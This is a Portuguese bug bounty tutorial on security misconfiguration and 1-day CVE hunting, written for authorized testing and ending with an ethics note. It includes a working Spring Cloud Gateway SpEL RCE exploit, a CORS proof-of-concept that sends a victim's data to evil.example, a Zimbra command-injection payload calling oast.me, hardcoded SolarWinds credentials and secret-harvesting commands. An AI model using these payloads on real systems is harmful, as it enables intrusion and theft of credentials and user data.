Post

Security Misconfiguration e Caça a CVEs/1-day

Como achar configurações inseguras (debug exposto, .git, backups, headers, CORS) e transformar uma versão de software em bounty: fingerprint → CVE → PoC com responsabilidade.

A porta que ficou destrancada

Você chega num prédio comercial e a recepção tem catraca, crachá, biometria — segurança de verdade. Aí você dá a volta e encontra a porta de serviço escancarada, com a chave na fechadura e um post-it dizendo “senha do Wi-Fi: admin123”. Ninguém invadiu nada. A porta já estava aberta. Security Misconfiguration é exatamente isso: a aplicação pode ter código impecável, mas alguém esqueceu o debug=true ligado, deixou o .git público, subiu um backup.zip no servidor ou rodou uma versão de software com uma falha já conhecida.

Esse é o tipo de bug que recompensa leitura e atenção mais do que payload mirabolante. É a vulnerabilidade A05:2021 do OWASP Top 10, e na prática de bug bounty ela se divide em duas grandes frentes que vamos cobrir aqui:

  1. Misconfiguration “clássica” — algo foi mal configurado e vaza dado/acesso (debug, .git, headers, CORS, credenciais default).
  2. Caça a CVEs / 1-day (n-day) — você descobre qual software e qual versão o alvo roda, procura uma vulnerabilidade pública pra aquela versão, e aplica o PoC com cuidado.

💡 PoC (Proof of Concept): a prova mínima de que o bug é real e explorável — o passo a passo/payload que demonstra o impacto sem causar dano. Detalhe no Glossário.

As duas frentes se encontram num lugar só: o alvo entregou informação que não devia. Bora destrinchar.

O que é Security Misconfiguration (A05)?

Misconfiguration é toda falha que vem de uma configuração insegura — não de um bug no código de negócio, mas de como o ambiente, o servidor, o framework ou a infraestrutura foram montados.

Analogia: o cofre (o código) pode ser à prova de balas, mas se o manual de instruções com a combinação ficou em cima da mesa (o .git), ou se a fábrica mandou o cofre com a senha de fábrica 0000 e ninguém trocou (credencial default), o cofre é inútil. A falha não está no cofre — está em como ele foi instalado.

O OWASP é literal sobre os sinais. Segundo a página oficial do A05:2021, a aplicação pode estar vulnerável se:

  • falta hardening (endurecimento de segurança) em qualquer parte da stack, ou há permissões mal configuradas em serviços de nuvem;
  • recursos desnecessários estão habilitados (portas, serviços, páginas, contas ou privilégios a mais);
  • contas e senhas padrão (default) continuam ativas e inalteradas;
  • o tratamento de erro revela stack traces ou mensagens excessivamente informativas;
  • as configurações de servidores/frameworks/bibliotecas/bancos não estão em valores seguros;
  • o servidor não envia os headers de segurança (ou envia com valores frouxos).

Repare que CVE/1-day se encaixa direto no quinto item: rodar um framework desatualizado (ex.: Spring, Struts, ThinkPHP) com falha pública conhecida é uma misconfiguration de manutenção.

Por que isso importa (e quanto paga)

O impacto varia muito — e por isso o bounty também:

  • Information disclosure puro (um header faltando, uma versão exposta, um /debug/pprof): geralmente Baixo/Médio, faixa de R$200 a R$500. Às vezes só “info”, às vezes a peça que abre o próximo bug.
  • Vazamento de credenciais (.git com senha de banco, wp-config.php.save, backup.rar com connection string): pula pra Alto, R$800 a R$3.000+, porque credencial vira acesso interno.
  • RCE via CVE (Spring Cloud Gateway, Zimbra, Symfony em modo dev): Crítico, o topo da tabela. Você controla o servidor.

⚠️ A diferença entre “info” e “crítico” é a cadeia. Uma versão exposta sozinha vale pouco. Mas aquela versãouma CVE de RCEshell no servidor é a história mais bem paga do ramo. Pense sempre: “o que esse vazamento me destrava?”

💡 Como ler o CVSS aqui. Ao longo do post você verá o score CVSS v3.1 (o que o NVD publica pra maioria das CVEs aqui citadas) e, quando ajuda, o CVSS v4.0 ao lado. A grande mudança do v4.0 é separar o impacto em sistema vulnerável (VC/VI/VA) e sistema subsequente (SC/SI/SA) — útil pra distinguir “o estrago foi só na app afetada” de “vazou pra rede/outro sistema”. Importante: o NVD ainda não publicou vetor v4.0 pra essas CVEs específicas; onde mostro um número v4.0, ele vem da calculadora oficial FIRST sobre o vetor equivalente — e eu sempre mostro o vetor pra você reproduzir.

Como funciona por trás

A raiz é sempre a mesma: o ambiente expõe algo que deveria estar fechado. Tecnicamente, isso aparece de três jeitos numa request HTTP:

1. Um arquivo/endpoint que não devia ser público responde 200.

1
2
GET /.git/HEAD HTTP/2
Host: alvo.com
1
2
3
4
HTTP/2 200 OK
Content-Type: text/plain

ref: refs/heads/master   # <- o servidor entregou o miolo do Git. Não deveria.

2. A resposta carrega informação demais (versão, stack trace, variável de ambiente):

1
2
3
4
5
6
HTTP/2 500 Internal Server Error
Content-Type: text/html

PHP Fatal error: Uncaught PDOException: SQLSTATE[HY000] [1045]
Access denied for user 'app_prod'@'10.0.3.14'   # <- usuário do banco + IP interno vazando
  in /var/www/app/src/Db.php:88

3. Os headers de resposta abrem brechas (CORS frouxo, headers de segurança ausentes):

💡 CORS (Cross-Origin Resource Sharing): conjunto de headers que diz ao navegador quais outros sites podem ler a resposta de uma origem. Configurado frouxo, deixa um site malicioso ler dado autenticado. Detalhe no Glossário.

1
2
3
HTTP/2 200 OK
Access-Control-Allow-Origin: https://evil.example   # <- reflete a origem do atacante
Access-Control-Allow-Credentials: true              # <- e ainda manda mandar o cookie

Nenhum desses casos exige “quebrar” nada. O servidor entregou de bandeja. Seu trabalho é saber onde pedir.

Tipos e variações

TipoO que éComo costuma aparecer
Endpoint de debug expostopainel/profiler de desenvolvimento aberto em produção/debug/pprof (Go), app_dev.php (Symfony), /actuator (Spring), ?XDEBUG_SESSION
.git expostodiretório de versionamento público → dump do código-fonte/.git/HEAD, /.git/config respondem 200
Arquivos de backupcópias temporárias deixadas no webrootindex.php.save, wp-config.php.bak, app.php~, backup.zip, bin.rar
Directory listingservidor lista o conteúdo da pastapágina “Index of /uploads”
Credenciais defaultlogin de fábrica nunca trocadoadmin:admin, tomcat:tomcat, painéis (Jenkins, Grafana) abertos
Headers de segurança ausentessem HSTS, CSP, X-Frame-Options etc.clickjacking, downgrade, MIME sniffing
Erros verbosos / stack traceexceção detalhada vaza pro usuáriotrace PHP/Java/.NET, query SQL, dado de outro cliente
Variáveis de ambiente expostas.env ou debug do framework cospe segredosMYSQL_DATABASE_PASSWORD, AWS_SECRET, tokens
CORS mal configuradoreflete origem + permite credenciaisleitura cross-origin de dado autenticado
CVE / 1-dayversão vulnerável conhecida rodandofingerprint da versão → CVE → PoC

Recon — como encontrar

Misconfiguration é 80% recon. O segredo é mapear o que está exposto e que tecnologia roda. Vamos por partes.

1. Fuzzing de arquivos e paths sensíveis

A ferramenta padrão é o ffuf (fuzzer de HTTP que troca a palavra FUZZ por cada linha de uma wordlist e reporta os status codes — se você ainda não viu, está no post de Recon). Você joga uma wordlist de “leaky paths” e vê o que responde:

1
2
# -mc = match codes (só mostra esses status); -t = threads (segura o ritmo p/ não tomar block)
ffuf -w leaky-paths.txt -t 20 -u https://alvo.com/FUZZ -mc 200,301,302,401,403

Wordlists boas pra essa caça: a leaky-paths do projeto ayoubfathi/leaky-paths e a clássica raft-* do SecLists. Procure especificamente por:

1
2
3
4
.git/HEAD          .git/config        .env
wp-config.php.save index.php.bak      backup.zip
.DS_Store          /debug/pprof/      /actuator/gateway/routes
phpinfo.php        /server-status     bin.rar

💡 Dica de ritmo: por padrão o ffuf usa 40 threads (-t 40) e não limita a taxa. Baixe pra -t 20 (ou menos) e, pra travar de fato as requisições por segundo, use -rate (ex.: -rate 10 = no máx. 10 req/s) — assim você não derruba o alvo nem toma bloqueio do WAF (Web Application Firewall — o filtro que fica na frente da aplicação e barra requisições suspeitas; ver Glossário). Alguns programas até especificam o limite de req/s permitido; respeite.

💡 Fuzzing logado > fuzzing cego. Fuzz passivo todo mundo faz, e o ativo agressivo vive caindo no WAF/blacklist. A jogada mais limpa: logue na aplicação, desligue as automações do Burp e clique em TUDO manualmente — depois monte sua própria wordlist a partir do histórico do Burp (paths reais que a app chama, parâmetros, rotas de infra). Você fuzza com termos que a própria app usa, então não destoa de um usuário legítimo e dificilmente é flagrado. Ferramentas que ajudam a extrair esses termos: Paramalyzer (exporta parâmetros depois de navegar), gau + LinkFinder, e scanners de JS com regex.

💡 Não domina a stack? Monte um lab antes. Misconfig é específico de cada tecnologia: o que vaza num ThinkPHP não é o que vaza num Spring. Se você não conhece a fundo o software que o alvo roda, suba uma instância local dele e descubra quais são os arquivos de config e endpoints sensíveis (docker-compose.yaml, heapdump, .git, backups característicos) — volte ao alvo sabendo exatamente o que procurar. Lab + wordlist personalizada + paciência na unha bate scanner cego.

2. Fingerprint de tecnologia e versão (o coração da caça a CVE)

Antes de procurar uma CVE você precisa saber o que e qual versão o alvo roda. Sinais valiosos:

  • Headers de resposta: Server: Apache/2.4.25, X-Powered-By: PHP/7.0.33, X-Application-Context.
  • Rodapé / página de login: muitos painéis exibem a versão (ex.: “Consul Enterprise 1.9.4”).
  • /wp-json/, meta generator, paths característicos de WordPress, Moodle, GLPI etc.
  • Wappalyzer (extensão de navegador / projeto open-source): detecta CMS, frameworks e versões só de abrir a página. WhatWeb e httpx (-tech-detect) fazem o mesmo no terminal.
1
2
# httpx fingerprintando tecnologia + título + status de uma lista de hosts
cat hosts.txt | httpx -title -status-code -tech-detect

3. Shodan + favicon hash (fingerprint em escala)

O Shodan é um buscador de dispositivos/serviços expostos na internet. O truque mais poderoso de fingerprint é o favicon hash: muitas empresas reusam o mesmo favicon.ico em toda a infra, então o hash do favicon vira uma impressão digital. O Shodan indexa esse hash no filtro http.favicon.hash.

Detalhe técnico (pra você entender, não decorar): o Shodan não faz hash do arquivo cru. Ele pega o conteúdo do favicon, codifica em base64 (com quebra de linha a cada 76 caracteres, como o base64 clássico do e-mail), e roda MurmurHash3 (mmh3) — um hash rápido e não-criptográfico — sobre essa string. É por isso que você precisa do mmh3 pra reproduzir o número.

Calculando o hash de um favicon:

1
2
3
4
5
# pip install mmh3 requests
import requests, mmh3, base64
r = requests.get("https://alvo.com/favicon.ico", verify=False)
b64 = base64.encodebytes(r.content)          # base64 com \n a cada 76 chars
print(mmh3.hash(b64))                          # mmh3.hash devolve int de 32 bits com sinal (pode ser negativo)

Com o hash em mãos, você acha todos os hosts no mundo que usam aquele mesmo favicon (logo, provavelmente o mesmo software/empresa). Exemplo usando o hash documentado do GitLab (1265477436), que é o próprio exemplo da doc oficial do Shodan:

1
shodan search 'http.favicon.hash:1265477436' --fields ip_str,port   # 1265477436 = favicon do GitLab

Outros hashes famosos pra calibrar a técnica: Jenkins = 81586312. A ideia: identifique a tecnologia pelo favicon, encontre a frota toda, e aí cruze com a versão pra mapear quem está vulnerável.

4. IP de origem atrás de CDN

Detalhe que vira bounty sozinho: se o DNS/configuração vaza o IP real do servidor por trás de uma CDN/WAF (Cloudflare etc.), dá pra acessar o IP direto e contornar a proteção. Acha o IP via Shodan/ping/registros DNS antigos, bate direto nele e confirma que a proteção foi pulada. Costuma cair como Misconfig de severidade Média (risco aumentado de DDoS e bypass de WAF).

Exploração passo a passo (do básico ao avançado)

Nível 1 — .git exposto → dump do código-fonte

Quando o .git é deixado público, o histórico inteiro do repositório está acessível via HTTP. Primeiro confirme (manualmente ou com a extensão de navegador DotGit, que avisa quando um site tem .git aberto):

1
2
curl -s https://alvo.com/.git/HEAD
# saída esperada: "ref: refs/heads/master"  -> confirmado

Depois reconstrua o repositório com o git-dumper (ferramenta que baixa e remonta o .git mesmo sem directory listing — ela busca HEAD, config, packed-refs, os objetos e faz o checkout):

1
2
3
4
# pip install git-dumper
git-dumper https://alvo.com/.git/ ./dump
cd dump && ls
# composer.json  Dockerfile  index.php  vendor/ ...

Agora grepe por segredos no que você baixou:

1
grep -rEi 'password|secret|api_key|DB_|mysql|--password=' ./dump

Em casos reais isso entrega credenciais de banco hardcoded em scripts de migração (DB_HOST, -u root --password=...), tokens internos, e no pior (melhor pra você) cenário, arquivos que executam comandos — escalando o .git exposto pra RCE completo.

Nível 2 — Arquivos de backup → credenciais

Devs editam index.php no servidor e o editor salva um index.php.save/.bak/~. O servidor serve esses arquivos como texto (não executa o PHP), então o código-fonte vaza:

1
2
GET /wp-config.php.save HTTP/2
Host: alvo.com
1
2
3
4
5
6
7
8
HTTP/2 200 OK
Content-Type: text/plain

<?php
define('DB_NAME', 'wp_prod');
define('DB_USER', 'wp_admin');
define('DB_PASSWORD', '<-- senha em texto puro aqui -->');   # <- jackpot
define('DB_HOST', 'db.internal:3306');

Variações que valem fuzzar: .save, .bak, .old, .orig, .txt, ~, .swp, e arquivos compactados (backup.zip, site.tar.gz, bin.rar — às vezes com DLLs/JARs lá dentro contendo connection strings).

Nível 3 — Endpoint de debug / variáveis de ambiente

Frameworks em modo de desenvolvimento expõem profilers e dumps. Dois clássicos:

Go pprof (debug do runtime de Go) aberto em produção:

1
2
GET /debug/pprof/ HTTP/2
Host: alvo.com

A página lista perfis (heap, goroutine, allocs…) e vaza nomes de funções, caminhos de arquivo e dados internos — além de permitir DoS por profiling ilimitado. É a CVE-2019-11248 quando o /debug/pprof não-autenticado do Kubelet do Kubernetes fica exposto pela porta healthz (CVSS v3.1 8.2 Alto no NVD, vetor AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L — confidencialidade alta + DoS por profiling; o NVD não publica vetor v4.0). Afeta Kubernetes < 1.12.10 / 1.13.8 / 1.14.4 / 1.15.0.

ThinkPHP sem PATHINFO cospe todas as variáveis de ambiente:

1
2
GET /index.php?s=example HTTP/2
Host: alvo.com
1
2
3
4
5
HTTP/2 200 OK

{"MYSQL_DATABASE":"app","MYSQL_DATABASE_USERNAME":"root",
 "MYSQL_DATABASE_PASSWORD":"<-- senha do banco -->","SERVER_ADDR":"10.0.3.14"}
# <- credenciais do MySQL + IP interno via debug do framework

Isso é a CVE-2022-25481 (ThinkPHP 5.0.24 configurado sem PATHINFO; CVSS v3.1 7.5 Alto, vetor AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — só confidencialidade). Note: o vendor pode argumentar que “é comportamento do modo debug” — e de fato a CVE é disputada no NVD por isso (um terceiro contesta que a exposição seria funcionalidade intencional do modo debug) —, mas vazamento de credencial é aceito na maioria dos programas de bug bounty.

Nível 4 — CORS mal configurado → roubo de dado autenticado

O bug de CORS perigoso é o servidor refletir a origem do atacante e permitir credenciais. Teste mandando uma Origin arbitrária:

1
2
3
4
GET /api/account HTTP/2
Host: alvo.com
Origin: https://evil.example   # <- origem que você controla
Cookie: session=<cookie_da_vítima>
1
2
3
HTTP/2 200 OK
Access-Control-Allow-Origin: https://evil.example   # <- refletiu a SUA origem
Access-Control-Allow-Credentials: true              # <- e libera mandar cookie

Se a resposta reflete sua origem com Allow-Credentials: true, qualquer site malicioso consegue ler o dado autenticado da vítima. O PoC é uma página no seu domínio:

1
2
3
4
5
6
<script>
  // roda no navegador da vítima quando ela visita evil.example
  fetch('https://alvo.com/api/account', { credentials: 'include' })
    .then(r => r.text())
    .then(d => fetch('https://evil.example/log?d=' + encodeURIComponent(d)));
</script>

⚠️ Access-Control-Allow-Origin: * junto com Allow-Credentials: true o navegador nem permite (é proibido pela spec). O bug explorável é o reflexo dinâmico da origem — por isso teste com uma origem custom, não confie só no *. (PortSwigger — CORS).

Nível 5 — Avançado: caça a CVE/1-day e PoC com responsabilidade

Aqui está o pulo do gato. A metodologia é uma cadeia:

1
fingerprint da versão  →  buscar CVE pra aquela versão  →  ler o PoC e ENTENDER  →  aplicar com cuidado  →  reportar

Passo a — Ache a versão. (recon, seção acima). Digamos que você confirmou Spring Cloud Gateway com o endpoint /actuator aberto.

Passo b — Busque a CVE. Procure por "Spring Cloud Gateway" CVE no NVD/MITRE, no exploit-db, e acompanhe feeds (canal cveNotify no Telegram, GitHub de PoCs). Você chega na CVE-2022-22947: injeção de SpEL no Actuator → RCE (afeta Spring Cloud Gateway 3.1.0 e 3.0.0–3.0.6; corrigida em 3.1.1 / 3.0.7). CVSS v3.1 10.0 Crítico (NVD) — vetor AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, com S:C (scope changed) porque, da Gateway, o SpEL alcança o SO inteiro. O NVD não publica vetor v4.0; pelo vetor equivalente de RCE não-autenticado (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) a calculadora FIRST v4.09.3 Crítico. (SpEL = Spring Expression Language, a mini-linguagem de expressões do Spring; se você consegue injetar SpEL, consegue executar código Java no servidor.)

Passo c — Leia o PoC e entenda o que ele faz (NUNCA rode às cegas). O exploit cria uma rota com um filtro que avalia uma expressão SpEL executando um comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1) cria uma rota com payload SpEL que executa "id"
curl -s alvo.com/actuator/gateway/routes/hack -X POST \
  -H 'Content-Type: application/json' -d '{
  "id":"hack",
  "filters":[{"name":"AddResponseHeader","args":{
     "name":"Result",
     "value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
  }}],
  "uri":"http://example.com"}'

# 2) aplica (refresh) e dispara a rota; o header Result traz a saída de "id"
curl -s alvo.com/actuator/gateway/refresh -X POST
curl -si alvo.com/actuator/gateway/routes/hack | grep -i result
# Result: uid=0(root) gid=0(root) ...   <- RCE confirmado como root

💡 Comando seguro de prova de conceito: use id, whoami ou hostname — comandos inofensivos que provam execução sem causar dano. Nunca rode rm, abra reverse shell em alvo de bounty sem autorização explícita, nem leia dados além do necessário. A prova é “executei id e veio uid=0”, não “destruí o servidor”.

Outros 1-days reais pra ilustrar a técnica (cite sempre a CVE oficial):

CVESoftware (versões afetadas)CVSS v3.1 (NVD)Técnica (resumo)
CVE-2024-45519Zimbra Collaboration: 8.8.15 < P46, 9 < P41, 10 < 10.0.9, 10.1 < 10.1.19.8 Crítico (C:H/I:H/A:H)Command injection via SMTP: o RCPT TO: é passado pro popen do postjournal sem sanitizar. Payload usa ${IFS} no lugar do espaço: RCPT TO: <"a$(curl${IFS}oast.me)"@dominio>. RCE não-autenticado. (ProjectDiscovery)
CVE-2024-28987SolarWinds Web Help Desk ≤ 12.8.3 HF19.1 Crítico (C:H/I:H/A:N)Credenciais hardcoded (helpdeskIntegrationUser:dev-C4F8025E7) → ler/alterar tickets. PoC: curl -k -u 'helpdeskIntegrationUser:dev-C4F8025E7' https://alvo:8443/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/. (Horizon3)
CVE-2022-25481ThinkPHP 5.0.24 (sem PATHINFO)7.5 Alto (C:H/I:N/A:N, disputed)index.php?s=example vaza variáveis de ambiente (credenciais MySQL). Só confidencialidade.

💡 Vuln vs. subsequent (lendo o impacto). Repare na forma do impacto, não só no número: Zimbra é C:H/I:H/A:H (RCE = compromete tudo no host), SolarWinds é C:H/I:H/A:N (lê e altera ticket), ThinkPHP é C:H puro (só lê dado). No CVSS v4.0 essa distinção fica explícita nos eixos sistema vulnerável (VC/VI/VA) vs. subsequente (SC/SI/SA): nesses quatro casos o estrago é no próprio sistema afetado, sem impacto subsequente catalogado (SC/SI/SA:N). O NVD ainda não publicou vetor v4.0 pra essas CVEs, então não cito número v4.0 oficial aqui — se precisar, jogue o vetor v3.1 equivalente na calculadora FIRST v4.0. O Zimbra, aliás, tem divergência conhecida de score: NVD pontua 9.8 (S:U) e o CNA pontua 10.0 (S:C).

⚠️ Cuidado com falso positivo de scanner. O Nuclei (scanner de templates da ProjectDiscovery — apresentado na Etapa 7 do Recon) é ótimo pra detectar versões e CVEs em massa, mas nem todo achado é vulnerabilidade real. Antes de reportar, leia o template e entenda a CVE: tem template que só confirma “a versão é X” sem que o impacto exista naquele contexto — e tem CVE de impacto baixo que parece grande no relatório (ex.: a CVE-2022-1595, no plugin HC Custom WP-Admin URL ≤ 1.4: um cookie validloginslug=1 só faz o WordPress revelar a URL secreta de login — pouco impacto sozinho). Reportar lixo de scanner queima sua reputação no programa. (Como traduzir esse achado em severidade defensável: Severidade, impacto e triagem.)

💡 CWE (Common Weakness Enumeration): o tipo de falha (categoria). O CVE é a instância específica num software; o CWE é a classe dela.

💡 ASLR (Address Space Layout Randomization): proteção do SO que embaralha endereços de memória. Desligada, facilita muito explorar buffer overflow.

🆕 Exemplo fresquíssimo (2026) — quando a versão não basta: “NGINX Rift” (CVE-2026-42945). Em maio/2026 a F5 divulgou um heap buffer overflow (CWE-122) no ngx_http_rewrite_module do nginx — um bug que viveu ~18 anos num servidor que responde por mais de 30% da web. CVSS v3.1 8.1 Alto / v4.0 9.2 Crítico (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H), sem autenticação. O detalhe que importa pro caçador: ter a versão afetada no header Server NÃO prova a falha. Ela só dispara com uma config específica — uma diretiva rewrite seguida de rewrite/if/set, usando captura PCRE não-nomeada ($1, $2) e com ? na string de substituição (aí o re-escape de args expande +%2B e estoura o buffer do worker). Em blackbox você confirma a versão, não a config → trate como candidato a whitebox, não vuln confirmada. E o impacto confiável é DoS (crash do worker); RCE só com ASLR desabilitado/contornável. Como DoS quase sempre é fora de escopo, reporte a versão + config vulnerável como evidência — não fique derrubando worker em produção. Afetadas: nginx OSS 0.6.27–1.30.0 e Plus R32–R36; corrigido em 1.30.1 (stable) e 1.31.0 (mainline) — Plus em R32 P6 / R36 P4 — ou troque $1/$2 por captura nomeada (?<nome>...). Fontes: advisory F5 K000161019, NVD, análise do descobridor (depthfirst) e uma explicação detalhada em PT-BR.

Bônus — Web Cache Deception (o cache guardando dado de outro)

Nem toda misconfiguration está no servidor de origem — às vezes está na camada de cache (CDN / reverse proxy) na frente dele. Web Cache Deception (WCD) engana o cache pra ele armazenar uma resposta autenticada e sensível (de uma vítima) como se fosse um arquivo estático público; depois o atacante, sem login, pede a mesma URL e recebe os dados da vítima. (Não confunda com Web Cache Poisoning: lá o atacante manipula a chave de cache pra servir um payload malicioso a outros usuários; aqui ele a resposta de outro — é um ataque de confidencialidade.)

A raiz é uma discordância de parser: o cache decide guardar olhando a URL/extensão (“terminou em .css? é estático, cacheia”), enquanto o origin ignora o sufixo e devolve o conteúdo dinâmico autenticado. Três classes de payload pra testar (sempre na sua própria conta de teste, com um cache buster pra nunca cachear dado de gente real):

1
2
3
1) Extensão:     /minha-conta/wcd.css          # origin ignora o sufixo; cache vê .css e guarda
2) Delimitador:  /minha-conta;wcd.js           # origin corta no ';'; cache não → cacheia como .js
3) Normalização: /static/..%2fminha-conta?wcd  # origin resolve → /minha-conta; cache vê o prefixo /static

Detecção: procure headers de cache (X-Cache: hit/miss, CF-Cache-Status, Age) e confirme a transição MISSHIT servindo o conteúdo da vítima sem cookie. Se a resposta cacheada traz token de sessão/CSRF ou API key, escala pra account takeover (aí vira Alto/Crítico). Defesa: cachear por Content-Type (nunca por extensão), respeitar Cache-Control: no-store, private no conteúdo dinâmico, normalização consistente entre cache e origin, e proteções de CDN (ex.: Cloudflare Cache Deception Armor). Aprofunde nos labs da PortSwigger.

Caso real-fictício: de “versão exposta” a RCE

Cenário fictício, baseado em padrões reais de bug bounty (anonimizado).

Você está testando app.exemplo.com. No recon, o Wappalyzer acusa um gateway Spring, e o ffuf com a leaky-paths acha:

1
2
3
ffuf -w leaky-paths.txt -t 20 -u https://app.exemplo.com/FUZZ -mc 200
# ...
# actuator/gateway/routes   [Status: 200]   # <- Actuator aberto. Cheiro de CVE.

Passo 1 — Fingerprint da versão. O /actuator/info e o header confirmam Spring Cloud Gateway numa faixa vulnerável (< 3.1.1 / < 3.0.7).

Passo 2 — Mapear a CVE. Busca no NVD → CVE-2022-22947 (SpEL injection → RCE). Leio o PoC público inteiro pra entender cada parâmetro antes de tocar no alvo.

Passo 3 — Provar com comando inofensivo. Aplico o payload com o comando id (e só ele):

1
2
HTTP/2 200 OK
Result: uid=0(root) gid=0(root) groups=0(root)   # <- saída do "id" refletida no header

uid=0(root) = execução de comando como root. RCE confirmado, sem causar dano.

O que a tela do Burp mostraria: painel Request/Response; na Response, o header Result destacado em vermelho com uid=0(root), provando a execução. Nada de reverse shell, nada de tocar em dado de cliente.

Passo 4 — Report. Título [RCE] - Execução remota de comandos via SpEL injection no Spring Cloud Gateway (CVE-2022-22947). No resumo: a versão exposta, o link da CVE, o passo a passo, e a prova com id. Severidade Crítica (CVSS v3.1 10.0 / v4.0 9.3). Recomendação clara: atualizar pra ≥ 3.1.1/3.0.7 ou desabilitar/proteger o endpoint do Actuator. (Veja Como escrever um report que paga.)

Defesa em camadas

Misconfiguration não se resolve com um patch só — é processo de hardening. O OWASP é direto: ambiente repetível e mínimo, revisão de configs, e verificação automatizada.

1. Não exponha o que não precisa (e bloqueie no servidor). .git, backups e debug não deveriam estar no webroot — e mesmo que estejam, o servidor nega:

1
2
3
# Nginx — bloqueia dotfiles e backups
location ~ /\.(git|env|svn|ht) { deny all; return 404; }
location ~* \.(bak|save|old|orig|swp|sql|zip|tar|rar)$ { deny all; return 404; }
1
2
3
4
# Apache — equivalente
<FilesMatch "(^\.|\.(bak|save|old|orig|swp|sql)$)">
    Require all denied
</FilesMatch>

2. Debug e erros: nunca verbose em produção.

1
2
3
4
// PHP — produção esconde o erro do usuário e loga internamente
ini_set('display_errors', '0');     // <- usuário nunca vê stack trace
ini_set('log_errors', '1');
error_reporting(E_ALL);             // logar tudo, mostrar nada

Em Spring/Django/Rails, garanta debug=false / APP_ENV=production. Desabilite endpoints de profiler (management.endpoint.gateway.enabled: false no Spring) e proteja o Actuator com Spring Security.

3. Headers de segurança — mande as diretivas pro cliente.

1
2
3
4
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'self'" always;

4. CORS — valide a origem contra uma allowlist, nunca reflita cego.

1
2
3
4
5
6
7
8
9
10
// Node/Express — só origens conhecidas, e nada de credenciais com "*"
const ALLOW = new Set(['https://app.exemplo.com', 'https://admin.exemplo.com']);
app.use((req, res, next) => {
  const o = req.headers.origin;
  if (ALLOW.has(o)) {                                  // <- checa a allowlist
    res.setHeader('Access-Control-Allow-Origin', o);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  next();
});

5. Credenciais default e versões. Troque toda senha de fábrica, remova contas de exemplo, e tenha um processo de patch: rodar um software desatualizado é a misconfig de manutenção que vira CVE. Use SCA/dependabot e um scanner (Nuclei) internamente pra se achar antes do atacante.

O que NÃO basta: esconder o .git “tirando o link” (ele continua acessível por path), confiar que “ninguém vai adivinhar o backup.zip”, deixar o Actuator aberto “só na rede interna” (que vaza), ou achar que CORS * sem credenciais é sempre seguro (é, até alguém combinar com outro bug).

Ferramentas + labs legais

  • ffuf — fuzzing de paths/arquivos sensíveis (github).
  • git-dumper — dump de .git exposto (github). Extensão DotGit pra detectar no navegador.
  • httpx / WhatWeb / Wappalyzer — fingerprint de tecnologia e versão.
  • Shodan + mmh3 — fingerprint por favicon hash em escala.
  • Nuclei (github) — templates de CVE/misconfig (leia o template antes de reportar!).
  • Fontes de CVE: NVD, MITRE CVE, exploit-db.
  • Labs autorizados: PortSwigger Web Security Academy (CORS, information disclosure), TryHackMe, HackTheBox, e VMs vulneráveis do Vulnhub pra praticar CVE/1-day com segurança.

Checklist do caçador

  • Fuzzing de leaky-paths (.git, .env, backups, /debug, /actuator).
  • Confirmei e dumpei qualquer .git exposto; grepei por credenciais.
  • Procurei arquivos de backup (.save, .bak, ~, .zip, .rar).
  • Testei headers de segurança ausentes e CORS com Origin custom.
  • Provoquei erro pra ver se vaza stack trace / dado de outro cliente.
  • Fingerprint da tecnologia e versão (header, rodapé, Wappalyzer, favicon hash).
  • Cruzei a versão com CVE pública no NVD/exploit-db.
  • Li o PoC inteiro e entendi cada parâmetro antes de tocar no alvo.
  • Provei com comando inofensivo (id/whoami), sem dano nem dado de terceiro.
  • Validei achado de scanner (Nuclei) manualmente antes de reportar.

Pegadinhas / o que NÃO funciona

  • “Achei .git, mando o report e pronto.” Não. Faça o dump e mostre o que vazou (credencial, código). .git vazio ou com info inútil pode virar “Médio” ou ser fechado.
  • Reportar header faltando como crítico. Header de segurança ausente sozinho é, na maioria, informativo/baixo. Mostre o impacto encadeado (ex.: falta de X-Frame-Options + ação sensível = clickjacking real).
  • Confiar 100% no Nuclei. Template que só detecta versão ≠ vulnerabilidade explorável. Entenda a CVE.
  • Rodar PoC de RCE às cegas. Você pode derrubar o serviço, executar algo destrutivo ou estourar o escopo. Leia o exploit, use comando inofensivo.
  • Secret de build em JS achar que é segredo. VUE_APP_*, pk_live_ do Stripe, sitekey de reCAPTCHA são públicos por design. Valide se o que você achou é realmente sensível (use o KeyHacks) antes de reportar.

O que você precisa lembrar

  • Misconfiguration = porta deixada aberta. O servidor entrega o que não devia: arquivo, erro, header ou versão.
  • A cadeia é o ouro: versão exposta → CVE → PoC → RCE. Sozinho, cada elo vale pouco; juntos, valem crítico.
  • Recon e leitura ganham de payload. Quem fuzza paths, faz fingerprint certo e lê o PoC com calma acha o que scanner cego não acha.

💡 Dica de ouro: sempre que identificar qual software e qual versão o alvo roda, pare e pergunte “existe CVE pública pra essa versão?”. Metade da caça a 1-day é só fingerprint preciso + paciência pra ler o PoC. A outra metade é a disciplina de provar com id e parar por aí.

Nota ética

Tudo aqui é pra testes autorizados — bug bounty dentro do escopo, pentests contratados e labs legais. Dumpar .git de terceiros, usar credencial default em sistema alheio ou rodar PoC de RCE sem autorização é crime, e ainda por cima é desnecessário quando existe lab bom de sobra. Ao provar uma CVE, use o comando mais inofensivo possível, não toque em dado de cliente, e reporte com responsabilidade — incluindo a recomendação de correção. A graça é proteger, não quebrar.

Referências


Próximo na série: Account Takeover — JWT, reset de senha e OAuth · base: Recon & Discovery · severidade: Severidade, impacto e triagem · relacionados: RCE, Command Injection & SSTI · Cloud/AWS Misconfiguration · Encadeando vulnerabilidades


📚 Parte do Guia Completo de Bug Bounty — o índice da série, do básico ao avançado.

Esta postagem está licenciada sob CC BY 4.0 pelo autor.
Curtiu? O conteúdo do Acervo de TI é gratuito e sem anúncios. Se te ajudou, você pode retribuir: 💖 GitHub Sponsors ou ☕ um café no PayPal.